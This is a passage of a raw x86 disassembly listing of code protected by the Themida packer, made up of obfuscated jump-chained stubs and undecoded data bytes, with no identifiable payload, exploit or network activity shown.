		dd 4C3h, 4BA5200h, 0E9000000h, 0A2ECh, 0E99DE680h, 0AB2Fh
		dd 241C335Eh, 33241C31h, 248B241Ch, 0BFC28124h,	0E975A650h
		dd 7B4Eh, 2C481h, 44E90000h, 3300000Fh,	34312434h, 24343324h
		dd 2404D35Ch, 0FF5EE99Ch, 8F5FFFFFh, 248B2404h,	360CE924h
		dd 0DCF60000h, 22BBE9h,	22076800h, 51E90000h, 0C1000098h
		dd 0C78108E7h, 9A047104h, 1F9BE9h, 8E3C100h, 7327BF57h
		dd 0E7813253h, 1B5C05B6h, 241CF757h, 84C4E95Fh,	89570000h
		dd 0AAE951E7h, 1000024h, 49E959C8h, 800000C1h, 15E9DEF2h
		dd 0BD000089h, 0C8B91207h, 351E9h, 0E9515200h, 31D6h, 8A24C0FEh
		dd 1E9C20Ch, 81000045h,	6D2419EFh, 3C875B09h, 39E95C24h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_545EBF:				; CODE XREF: Themida_:0054F112j
		push	esi
		jmp	loc_54E320
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 8F04C483h, 248B2404h, 240C8924h, 0FFFEBBE9h,	0C8B66FFh
		dd 4EC8124h, 89000000h,	5F54243Ch, 6B47B951h, 0E9813846h
		dd 38466B43h, 0E959CF01h, 0D94h, 0E9D10158h, 359Fh, 603068h
		dd 243C8900h, 4BFh, 0FFFE0100h,	575F2434h, 14E95F54h, 35000094h
		dd 774707FBh, 0CB0E9h, 2E0C100h, 31B9FE05h, 1831E989h
		dd 8B660000h, 67682404h, 89000057h, 0B268243Ch,	89000069h
		dd 4832424h, 515F0424h,	4B9h, 0FFCF0100h, 81592434h, 4C4h
		dd 0BEC8E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_545F66:				; CODE XREF: Themida_:00546FF3j
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54869A
; ---------------------------------------------------------------------------

loc_545F7A:				; CODE XREF: Themida_:0054B4DCj
		pop	esp
		shr	ecx, 0Bh
		jmp	loc_551398
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFFE0BE9h, 5BDF01FFh, 31243C33h, 0CDE9243Ch
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_545F97:				; CODE XREF: Themida_:0054B9F8j
		pop	ebp
		sub	[esp+4], ebp
		pop	ebp
		sub	[esp], eax
		push	ebx
		push	edx
		mov	edx, 2FA920DAh
		jmp	loc_54D92B
; ---------------------------------------------------------------------------
		dd 4C481h, 5EE90000h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_545FB7:				; CODE XREF: Themida_:00546EFBj
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_54A702
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 87000000h, 2C5C2414h, 272DE9DFh, 0DE300000h,	5AF1885Bh
		dd 0E1C0C9FEh, 0F6C18007h, 0C8BC800h, 5C31E924h, 29660000h
		dd 0D7E958C5h
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_545FF7:				; CODE XREF: Themida_:0054FD64j
		add	ebx, 5FCC6E58h
		add	ebx, ecx
		sub	ebx, 5FCC6E58h
		add	[ebx], eax
		jmp	loc_54F106
; ---------------------------------------------------------------------------
		dd 0B1FC181h, 525D59A1h, 986592BAh, 0E9D1310Dh,	1FAEh
		dd 0B03BE958h, 248B0000h, 4EC8324h, 81241C89h, 4ECh, 8427E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54603A:				; CODE XREF: Themida_:00547561j
		push	5E162A96h
		pop	ebx
		mov	ecx, 0BC99314Eh
		sub	ecx, ebx
		push	dword ptr [esp]
		jmp	loc_5500D3
; ---------------------------------------------------------------------------
		db 1
		dd 241C8BDEh, 0E904C483h, 0CACh
; ---------------------------------------------------------------------------

loc_54605C:				; CODE XREF: Themida_:0054ADD6j
		or	edx, 55C91640h
		neg	edx
		sub	edx, 2F4D4FEDh
		sub	edx, 52E59935h
		add	edx, edi
		push	eax
		push	esi
		mov	esi, 20AA39A2h
		mov	eax, 20AA39A2h
		sub	eax, 36017325h
		sub	eax, esi
		push	edi
		mov	edi, 36017325h
		add	eax, edi
		pop	edi
		jmp	loc_54D8D6
; ---------------------------------------------------------------------------
		db 68h
		dd 38F9h, 0BE243489h, 1, 0FF1C7709h, 685E2434h,	2482h
		dd 0E9240C89h, 0B23Ch, 4CE95B59h, 6800008Bh, 6A234C00h
		dd 81240C8Bh, 4C4h, 1C18100h, 68000000h, 1868h,	52243489h
		dd 5B52E9h, 4C78100h, 81000000h, 4EFh, 243C8700h, 0A7C6E95Ch
		dd 835F0000h, 0BDE904C5h, 66000031h, 66490CBBh,	4245C01h
		dd 7ABE9h, 246C8100h, 0B9718704h, 2444015Eh, 87BF5704h
		dd 15EB971h, 5F08247Ch,	1B21E9h, 0EE814600h, 334CDB05h
		dd 5063E9h, 48B6600h, 0BDE95124h, 0F7000018h, 0F8C281D2h
		dd 89436646h, 0E9815AD1h, 31887C6Dh, 7F55BF57h,	0F9297A86h
		dd 0AFF1815Fh, 8149AA59h, 0B21B16C1h, 59C8292Ah, 5ED9ED81h
		dd 0C5011A26h, 5ED9C581h, 0C4E91A26h, 1000058h,	0EE295FFDh
		dd 50F3E9h, 81665D00h, 81309EE3h, 4ECh,	242C8900h, 7B6ABD66h
		dd 81ED8166h, 0ED816607h, 0C1661748h, 0B2E907E5h, 5F000096h
		dd 0E904EC83h, 8358h, 31243433h, 34332434h, 24248B24h
		dd 270DE9h, 241C8700h, 9851E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5461CA:				; CODE XREF: Themida_:00547E1Dj
		push	0C94h
		mov	[esp], ecx
		push	680D0B10h
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		jmp	loc_546ACD
; ---------------------------------------------------------------------------
		db 81h
		dd 4E9h, 8F8AE900h, 0C5010000h,	6EDC158h, 5D78CD81h, 0F581759Fh
		dd 0CA200202h, 12E9E831h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546207:				; CODE XREF: Themida_:0054B01Cj
		mov	[esp], edi
		push	1
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		push	esi
		jmp	loc_5513C3
; ---------------------------------------------------------------------------
		dd 0E9AAC280h, 0C18h, 4B850h, 9AE90000h, 8100009Ch, 4C6h
		dd 650FE900h, 0E6B70000h, 7E09E9h, 0EF686600h, 0C896631h
		dd 74FF6624h, 15E90224h, 50000081h, 0AB3B70B8h,	0FEA3E92Dh
		dd 0C483FFFFh, 8BF02904h, 0C4812434h, 4, 18A2E9h, 4C48100h
		dd 52000000h, 1E0F0EBAh, 0BEA816Fh, 0E9687856h,	64CDh
		dd 8704C583h, 248B242Ch, 2434FF24h, 81240C8Bh, 4C4h, 11E95600h
		dd 66000071h, 0E1E932FFh, 0FFFFFFFAh, 55582434h, 522968h
		dd 24248900h, 4240483h,	3558E95Dh, 0E6680000h, 8900002Fh
		dd 68B82404h, 81553C4Ah, 0F022D3EBh, 601E915h, 0B9510000h
		dd 88A10D7Ch, 85E9CD29h, 8300001Fh, 0C8704C1h, 0C2805C24h
		dd 8BD02802h, 89502414h, 4BA52E0h, 1000000h, 0BBE95AD0h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54630F:				; CODE XREF: Themida_:0054A188j
		add	eax, 0FFFFFFFFh
		jmp	loc_54D7DF
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0F2h
aZMsib		db 'zÕMé‰B',0
		align 4
		dd 81C3295Ah, 8E129DEBh, 0E7BF571Dh, 10E6738h, 3CA7E9FBh
		dd 0C3810000h, 4, 6F1B68h, 24348900h, 8595E9h
		db 0
; ---------------------------------------------------------------------------

loc_54634D:				; CODE XREF: Themida_:005489D3j
		and	ecx, 3FB073BFh
		push	ecx
		jmp	loc_55197F
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 87000000h, 885C2434h, 2FB0E9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54636A:				; CODE XREF: Themida_:0054DA97j
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	0DE1h
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_550FB1
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 1935E942h, 0C3810000h, 0E3080924h, 505BD931h, 0A96BE9h
		dd 0DA222D00h, 0C329FC2Ch, 8124048Bh, 4C4h, 81C30100h
		dd 4ECh, 24148900h, 0CC4F70BAh,	0C1E2D138h, 0D2F702EAh
		dd 39D8E9h, 0B3C38100h,	56496942h, 0F90763BEh, 5EF30133h
		dd 30C8EB81h, 0BE564B39h, 5E7B8721h, 315EF331h,	9EE95BDDh
		dd 1000086h, 0ECE959CBh, 8100008Fh, 4C1h, 4C18300h, 5E91E9h
		dd 24048100h, 4, 83242C8Bh, 0C58104C4h,	4, 0FFFE67E9h
		dd 58C629FFh, 5C243487h, 68240489h, 200h, 1C470958h, 0E92434FFh
		dd 633Dh
; ---------------------------------------------------------------------------

loc_546444:				; CODE XREF: Themida_:005512A9j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_551D64
; ---------------------------------------------------------------------------
aISz		db '‰<$éz#',0
		dw 8300h
		dd 8F5404ECh, 4812404h,	424h, 5839E900h, 0BD550000h, 427E29DFh
		dd 6BEB951h, 0E9817494h, 3CA5567Ah, 56FBE9h, 66596600h
		dd 3166F131h, 0F13166CEh, 0A858E9h, 241CF600h, 0F8EEE99Ch
		dd 74FFFFFFh, 8F5F0424h, 895C2404h, 27E9241Ch, 52000003h
		dd 2A4C05BAh, 4E2C104h,	198E942h, 0E3890000h, 8DE5E9h
		db 0
; ---------------------------------------------------------------------------

loc_5464CD:				; CODE XREF: Themida_:0054E93Bj
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54D4A9
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 38593526h, 0CADE9h, 5FB95100h, 2975A846h, 9FE959C8h
		dd 50000045h, 1A9BBD55h, 0E8897DC8h, 5473355Dh,	0B2E9102Fh
		dd 0E900002Bh, 0FFFFF880h, 4EC835Dh, 0FF243C89h, 5F042474h
		dd 377BE9h, 8E5C100h, 4F34E9h
		db 0
; ---------------------------------------------------------------------------

loc_54652D:				; CODE XREF: Themida_:00546F58j
		pop	edi
		sub	esp, 4
		jmp	loc_54DFF6
; ---------------------------------------------------------------------------
aMwsqu		db 'MWéq“',0
		align 10h

loc_546540:				; CODE XREF: Themida_:005479B3j
		add	esi, ecx
		pop	ecx
		jmp	loc_546AA2
; ---------------------------------------------------------------------------
		dd 1528CE81h, 90E9243Eh, 0E9000023h, 0FFFFF83Ch, 0EB81EB01h
		dd 0E5A5B80h, 83242C8Bh, 1C3304C4h, 0E47E924h, 77FF0000h
		dd 58669D1Ch, 9C240410h, 0FFF817E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54657D:				; CODE XREF: Themida_:00550C49j
		mov	[esp], ebp
		push	eax
		jmp	loc_54D305
; ---------------------------------------------------------------------------
		dw 8FB1h
		dd 8904EC83h, 5BB22414h, 4422E9h, 242C8B00h, 5504C483h
		dd 4F09E9h, 0BFE95B00h,	8100001Eh, 0F518A2C2h, 6D4DE955h
		dd 68510000h, 1Ch, 8B2434FFh, 0E953240Ch, 0FFFFF821h, 4BA52h
		dd 0D0290000h, 5F2EE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5465D2:				; CODE XREF: Themida_:005499C7j
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5517FF
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 240C8904h, 4B9h, 0A28FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5465F6:				; CODE XREF: Themida_:0054F7FFj
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_54F925
; ---------------------------------------------------------------------------

loc_54660C:				; CODE XREF: Themida_:0054D28Dj
		pop	eax
		not	ebp
		xor	ebp, 0DBB3C718h
		push	ebp
		pop	edx
		jmp	loc_54F2FE
; ---------------------------------------------------------------------------
		dd 7F480h, 0E95258E6h, 5ADEh
; ---------------------------------------------------------------------------

loc_546628:				; CODE XREF: Themida_:0055224Dj
		push	edx
		mov	edx, 7BC6396Dh
		jmp	loc_5511AC
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240489h, 285Bh, 0FF04C483h, 8DE91C77h, 81000070h
		dd 0C91121C5h, 5DE831CEh, 8358C109h, 0E9D101C1h, 9BDAE952h
		dd 0E2C10000h, 0C2814A07h, 0BE2345E6h, 2EE9D709h, 6600006Eh
		dd 8324048Bh, 0C8904ECh, 83595424h, 3C8904ECh, 1D32BF24h
		dd 814F1130h, 377D4FE7h, 8864E90Ah, 0EC830000h,	241C8904h
		dd 61C3E9h, 4E98100h, 33000000h, 0C31240Ch, 0AE17E924h
		dd 0BD550000h, 2A26F447h, 0E95DEF29h, 4F6Fh
; ---------------------------------------------------------------------------

loc_5466BC:				; CODE XREF: Themida_:0054B7B9j
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	cl, 2Dh
		xor	cl, 58h
		jmp	loc_54B7DD
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0F950E924h, 0E830FFFFh, 26C5E9h, 696800h, 14890000h
		dd 260BBA24h, 6AE91F1Eh, 81000050h, 4C2h, 4C28300h, 60C0E9h
		dd 2474FF00h, 48F5A04h,	24248B24h, 24048966h, 0FFF683E9h
		dd 3E4C0FFh, 80AAEC80h,	0E22806EAh, 5806C280h, 8008E2C0h
		dd 50532AC2h, 13E934B4h, 89000078h, 4C281E2h, 0E9000000h
		dd 16Dh, 3901A6BFh, 81DFF709h, 311792E7h, 7ACEE956h, 0C310000h
		dd 240C3324h, 240C895Ch, 7CD2E9h, 0E9DF8900h, 93DDh, 358DE381h
		dd 0C381496Bh, 0FFFFFFFFh, 0C101EB83h, 0EB8102EBh, 0F050B36Bh
		dd 815BDA21h, 771600F2h, 20556829h, 0C890000h, 5962B924h
		dd 41E95AA6h
		db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_546797:				; CODE XREF: Themida_:00548F30j
		add	edx, 1F4A5E71h
		sub	edx, eax
		jmp	loc_550B38
; ---------------------------------------------------------------------------
		dd 0E913CD80h, 6125h, 904C483h,	50E2D1C2h, 7D1FE9h, 24143300h
		dd 0E924248Bh, 0FFFFFA97h, 4C4815Eh, 0C1000000h, 0D6E906E8h
		dd 66FFFFFBh, 372D66ADh, 8370E910h, 0E3890000h,	4C381h
		dd 0BF570000h, 4, 45E2C381h, 0FB0100A4h, 45E2EB81h, 3C8B00A4h
		dd 4C48124h, 33000000h,	5CE9241Ch, 8B00007Dh, 0C4812404h
		dd 4, 2C281h, 14870000h, 24248B24h, 9C2424D3h, 0FFF56BE9h
		dd 240C33FFh, 4C4835Ch,	0FFFCADE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_546835:				; CODE XREF: Themida_:00551F56j
		push	edx
		jmp	loc_54C2B9
; ---------------------------------------------------------------------------

loc_54683B:				; CODE XREF: Themida_:0054B7E8j
		pop	ecx
		jmp	loc_54A445
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0A4h
		dd 2962F72Eh, 5A042454h, 5219E9h, 0E9D33100h, 9511h, 0C281DAF7h
		dd 613BC600h, 32C0EE81h, 0D601279Fh, 52E4E9h
		db 0
; ---------------------------------------------------------------------------

loc_54686D:				; CODE XREF: Themida_:00548CFCj
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	10A4h
		mov	[esp], eax
		mov	eax, 3F687FC8h
		inc	eax
		push	ebx
		mov	ebx, 355C5C09h
		jmp	loc_54C868
; ---------------------------------------------------------------------------
aTspn		db 'TépN',0
		dw 5300h
		dd 0A2E7E9h, 7E5C100h, 0FFFC90E9h, 2C281FFh, 0E9000000h
		dd 0B5A0h, 81665B66h, 0E7022444h, 7C016671h, 81660224h
		dd 0E702246Ch, 2EC8371h, 241C8966h, 490CBB66h, 245C2966h
		dd 1C8B6604h, 0CEE95124h, 1000077h, 0D3C381C3h,	5815F022h
		dd 2B9515Eh, 1000000h, 240C8BCBh, 0E904C483h, 0FFFFF8C1h
		dd 0E5EE814Eh, 0E97FFF7Bh, 716Fh, 0E92434FFh, 1C84h, 5D25D8F7h
		dd 257CD20Eh, 11301250h, 0E9D8F740h, 4D8Eh, 4C481h, 89560000h
		dd 4C681E6h, 83000000h,	68E904C6h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54693F:				; CODE XREF: Themida_:0054AEB4j
		sub	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55070D
; ---------------------------------------------------------------------------
		db 51h
		dd 4B9h, 59C80100h, 991DE9h, 59CB0100h,	7A5468h, 24048900h
		dd 1B1EE9h, 2434FF00h, 8B2434FFh, 0C4812404h, 4, 815B5453h
		dd 4C3h, 4EC8100h, 0E9000000h, 0FFFFFACBh
; ---------------------------------------------------------------------------

loc_546990:				; CODE XREF: Themida_:0055061Bj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_54A195
		push	eax
		mov	eax, esp
		jmp	loc_551131
; ---------------------------------------------------------------------------
		dw 0EDE9h
		dd 0FFFFFFF3h, 815D2434h, 4C4h,	64896800h, 0CE90000h, 2D00000Fh
		dd 0F8C4F44h, 9AD5E9h, 8886B200h, 52665AD7h, 0C2FEECB2h
		dd 28BBB050h, 0D70058C2h, 0EC835A66h, 24148904h, 0C680B4B6h
		dd 38EE80F0h, 53E7F680h, 0FE2860B7h, 31C6805Bh,	85E9F708h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5469FB:				; CODE XREF: Themida_:0054A623j
		add	esp, 4
		or	eax, eax
		jz	loc_54F111
		push	dword ptr [edi+1Ch]
		push	2072h
		mov	[esp], eax
		jmp	loc_54CC0E
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0EDh
		dd 11F8756h, 57F5E9F5h,	68510000h, 26391642h, 83240C8Bh
		dd 0C88904C4h, 4EC8359h, 0E9241C89h, 3066h, 4B951h, 0CA290000h
		dd 24148759h, 2404895Ch, 4B8h, 58C10100h, 31240C33h, 0C33240Ch
		dd 24248B24h, 7B9BA52h,	0F7926DB8h, 1EE952D0h, 81000076h
		dd 4C5h, 1B1E900h, 0BD550000h, 4, 0AE9EF01h, 8BFFFFFBh
		dd 0C4812404h, 4, 0AB58E9h, 24042100h, 2CD1E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546AA2:				; CODE XREF: Themida_:00546543j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		or	edx, eax
		jmp	loc_54DBE2
; ---------------------------------------------------------------------------
		db 89h
		dd 6FA4E902h, 0CF010000h, 0A7EF8159h, 3152E3C5h, 0D5F75FFDh
		dd 0AC25E9h
		db 0
; ---------------------------------------------------------------------------

loc_546ACD:				; CODE XREF: Themida_:005461DEj
		add	ecx, 4
		jmp	loc_54891B
; ---------------------------------------------------------------------------

loc_546AD8:				; CODE XREF: Themida_:0054D7AFj
		pop	esi
		jmp	loc_549CE6
; ---------------------------------------------------------------------------

loc_546ADE:				; CODE XREF: Themida_:00551D1Bj
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		jmp	loc_54D38F
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 9012E9h, 10EE8100h, 5F11DC03h, 7E98E9h, 0B0E95C00h
		dd 50000026h, 4B8h, 58C52900h, 9717E9h,	4C48100h, 0E9000000h
		dd 327Bh, 0C781E789h, 4, 18FDE9h, 2434FF00h, 582434FFh
		dd 4C481h, 54500000h, 0C8B95158h, 497E8A72h, 8D3DC181h
		dd 6DE98175h, 5A000001h, 4234E9h, 0F1BA5200h, 0E9CB0493h
		dd 213Eh, 7590B850h, 3EE955C5h,	0BA000098h, 376A1CB9h
		dd 609FEA81h, 0EAC131B9h, 0D8CA8108h, 0F723C45Fh, 22EA81DAh
		dd 81DA40F6h, 6118CEBh,	81D3293Dh, 6118CC3h, 0EB815A3Dh
		dd 0C0F069Ah, 1C8BD801h, 4C48124h, 83000000h, 4AE902C0h
		dd 0FE000067h, 0CBC980C9h, 6633F180h, 28AFB353h, 285B66D9h
		dd 2F6859CBh, 89000000h, 3768241Ch, 89000037h, 0EC832414h
		dd 240C8904h, 9739E9h, 1C08300h, 0E0240B0Dh, 276B3543h
		dd 0C7015FF1h, 1622E9h,	5E08900h, 4, 405h, 9C0E900h, 525D0000h
		dd 7219E9h, 57FD2D00h, 5D2D7DF5h, 534EC56h, 5B5065CBh
		dd 0CB2DD829h, 515B5065h, 0EC565DB9h, 0F25DE934h, 8358FFFFh
		dd 65E904C4h, 83FFFFF1h, 2C8704EDh, 3C895C24h, 525F5424h
		dd 0C281E289h, 4, 8704EA83h, 895C2414h,	4BA2414h, 0E9000000h
		dd 45C3h, 70DB68h, 7C73E900h, 69BD0000h, 81728654h, 7F5CDAC5h
		dd 4E5C145h, 0ED81DDF7h, 7FA4EBCCh, 6E9E901h, 57000009h
		dd 42474FFh, 24048F5Fh,	0E924248Bh, 0F89h, 1C55E952h, 5A0D0000h
		dd 0F7183D14h, 9D3E2DD8h, 0C5012C38h, 0B9514D58h, 408C136Ah
		dd 0FFFEABE9h, 0E9008FFFh, 0FFFFF0DCh, 5759C801h, 21336ABFh
		dd 9AC78176h, 2D89DECCh, 1B03169Ch, 9C05F801h, 8B1B0316h
		dd 0C481243Ch, 4, 8B240487h, 4FF2424h, 0A9E99C24h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_546CEB:				; CODE XREF: Themida_:005471C5j
		pop	esi
		jmp	loc_54F682
; ---------------------------------------------------------------------------
aPsin		db 'Pé¨n',0
		dw 8100h
		dd 4C2h, 2BB5300h, 0E9000000h, 7D6Ch, 15EF001h,	2A8A2DD8h
		dd 31E91085h, 66000019h, 1EF8058h, 67D4E9h
		db 0
; ---------------------------------------------------------------------------

loc_546D21:				; CODE XREF: Themida_:005505C8j
		push	eax
		mov	eax, 0F15FF99Bh
		sub	ebx, eax
		pop	eax
		or	ecx, ebx
		pop	ebx
		not	ecx
		sub	ecx, 8090D4C7h
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_5512E6
		push	681Fh
		mov	[esp], ebx
		mov	ebx, 28h
		sub	ebx, 2D2245E6h
		add	ebx, 179463F8h
		sub	ebx, 31AB15B1h
		add	ebx, edi
		push	ecx
		jmp	loc_54BDB8
; ---------------------------------------------------------------------------
		db 0Fh
		dd 34FFC0B6h, 2434FF87h, 8124048Bh, 4C4h, 1552E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546D7E:				; CODE XREF: Themida_:0054ACA2j
		dec	edx
		shl	edx, 3
		sub	edx, 0ECBDBC48h
		add	eax, 5EED407Fh
		add	eax, edx
		sub	eax, 5EED407Fh
		pop	edx
		jmp	loc_55134F
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 30151CDAh, 6DE6C181h, 63E947B4h, 0D000054h, 64CB15D8h
		dd 463B710Dh, 0FA2D4809h, 1EDCFFFh, 0EB8158C3h,	4, 2474FF53h
		dd 21A1E904h, 0F7290000h, 8F61E95Eh, 44010000h,	41E90424h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_546DDF:				; CODE XREF: Themida_:00545D9Ej
		pop	ebp
		push	279Fh
		mov	[esp], edi
		mov	edi, 299673E0h
		sub	edi, 54FE0F09h
		dec	edi
		sub	edi, 98BE18E6h
		add	ecx, edi
		pop	edi
		add	ecx, edi
		sub	ecx, 3BDA4BF0h
		push	edx
		push	0
		mov	edx, [esp]
		jmp	loc_54C974
; ---------------------------------------------------------------------------
		db 83h
		dd 0FF5002C0h, 58042474h, 0E924048Fh, 7739h
; ---------------------------------------------------------------------------

loc_546E24:				; CODE XREF: Themida_:0054D391j
		mov	esi, 2262591Dh
		shr	esi, 5
		jmp	loc_546FE5
; ---------------------------------------------------------------------------
		db 0B9h, 0B8h, 1Bh
		dd 27E914D6h, 87000092h, 0E95C242Ch, 0FFFFEF50h, 4AE4E95Bh
		dd 94B10000h, 80EFF180h, 58E937E9h, 5A000022h, 0B951h
		dd 0D9010000h, 48B31FFh, 4C48324h, 81240C8Bh, 4C4h, 0EA685B00h
		dd 8900005Ah, 0A0E92434h, 8100002Eh, 0EE3E47F3h, 5BDD29DCh
		dd 815DEB09h, 4ECh, 243C8900h, 7A247FBFh, 1203E938h, 2C810000h
		dd 88181324h, 24040116h, 0E9E68956h, 63E2h, 0E924248Bh
		dd 25C7h, 710C685Bh, 2C890000h,	2BD24h,	0EE010000h, 83242C8Bh
		dd 348704C4h, 24248B24h, 24048B66h, 89A1E9h
		db 0
; ---------------------------------------------------------------------------

loc_546EDD:				; CODE XREF: Themida_:00548C04j
		mov	[esp], eax
		mov	eax, 7C70277Ch
		dec	eax
		not	eax
		shl	eax, 3
		neg	eax
		shl	eax, 5
		xor	eax, 70277C04h
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		jmp	loc_545FB7
; ---------------------------------------------------------------------------
		dd 4B8h, 2BA5200h, 81293054h, 775068EFh, 81D72974h, 775068C7h
		dd 0C7295A74h, 5402C781h, 87582930h, 248B243Ch,	241C8924h
		dd 270EE9h, 0D1C38000h,	0DAE9C328h, 83000043h, 0DEE904C4h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546F43:				; CODE XREF: Themida_:0054CC37j
		push	ebp
		mov	edi, [esp]
		add	esp, 4
		pop	ebp
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, edi
		jmp	loc_54652D
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E92434FFh, 5DBCh
; ---------------------------------------------------------------------------

loc_546F68:				; CODE XREF: Themida_:00547C3Cj
		xchg	ebp, [esp]
		jmp	loc_54B9EF
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0EC832404h, 240C8904h, 37CAE9h, 0E9CF2900h
		dd 58F1h, 81E78957h, 4C7h, 4EF8100h, 87000000h,	895C243Ch
		dd 74FF240Ch, 4AE90424h, 8100007Bh, 4C5h, 348E900h, 0E7680000h
		dd 8900001Fh, 0EFE92414h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546FBF:				; CODE XREF: Themida_:00551371j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_54E932
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 9D0Eh, 3873D335h, 47215935h,	2434FF1Ch, 0FFFC41E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_546FE5:				; CODE XREF: Themida_:00546E2Cj
		xor	esi, 5A374A09h
		push	6819h
		mov	[esp], ebp
		jmp	loc_545F66
; ---------------------------------------------------------------------------
aZ4LUsx		db '‡4$‹$$UéX#',0
		align 4
		dd 24048B66h, 5C1D68h, 24348900h, 4EC81h, 83E90000h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54701B:				; CODE XREF: Themida_:0054AD0Fj
		pop	ebp
		jmp	loc_54B083
; ---------------------------------------------------------------------------
		db 28h,	0C3h, 58h
		dd 66C0B60Fh, 5524148Bh, 0C5815D54h, 4,	0FFFACAE9h, 5644BAFFh
		dd 0D6297DD1h, 34335F5Ah, 24343124h, 0E9243433h, 24D3h
		dd 33242C31h, 665C242Ch, 5124048Bh, 0BF57E189h,	59353719h
		dd 5303E7C1h, 93F7ABBh,	91BEE912h, 8B660000h, 9B682404h
		dd 89000006h, 5954240Ch, 4C181h, 0EC830000h, 242C8904h
		dd 0C581E589h, 4, 4ED81h, 2C870000h, 14895C24h,	4EC8124h
		dd 0E9000000h, 6562h, 43DAEF81h, 41E9D743h, 89000076h
		dd 0C6B9240Ch, 8139E00Dh, 9D258CF1h, 5049492Bh,	5E58E8B8h
		dd 58C12116h, 84CF181h,	0A0E9125Ch, 5900002Bh, 3413C805h
		dd 5BE950A2h, 0B800003Eh, 3BE06DDAh, 684CCB25h,	4E8C10Bh
		dd 0F44BC72Dh, 1B95105h, 0E9FAC1B9h, 471Eh, 0FFEC8BE9h
		dd 81E189FFh, 4C1h, 4C18300h, 5C240C87h, 6F5D68h, 243C8900h
		dd 0A0E310BFh, 8BF931B0h, 0C483243Ch, 95E8E904h, 1BB0000h
		dd 21000000h, 2434FFD8h, 5B2434FFh, 4C481h, 89500000h
		dd 405E0h, 50520000h, 7A38E9h, 8E1C100h, 8F04F181h, 0CE01ADDFh
		dd 2EE8159h, 33000000h,	5FE92434h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54716F:				; CODE XREF: Themida_:00548C51j
		add	ebx, edi
		pop	edi
		mov	eax, [ebx]
		mov	ebx, [esp]
		jmp	loc_54FD6F
; ---------------------------------------------------------------------------
		dd 0C681E689h, 4, 618FE957h, 0F8310000h, 0A5EA815Fh, 16D9773h
		dd 87AAE9C2h, 0EB810000h, 33B52160h, 0C381F329h, 33B52160h
		dd 0F361E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5471AE:				; CODE XREF: Themida_:0054DD09j
		push	esi
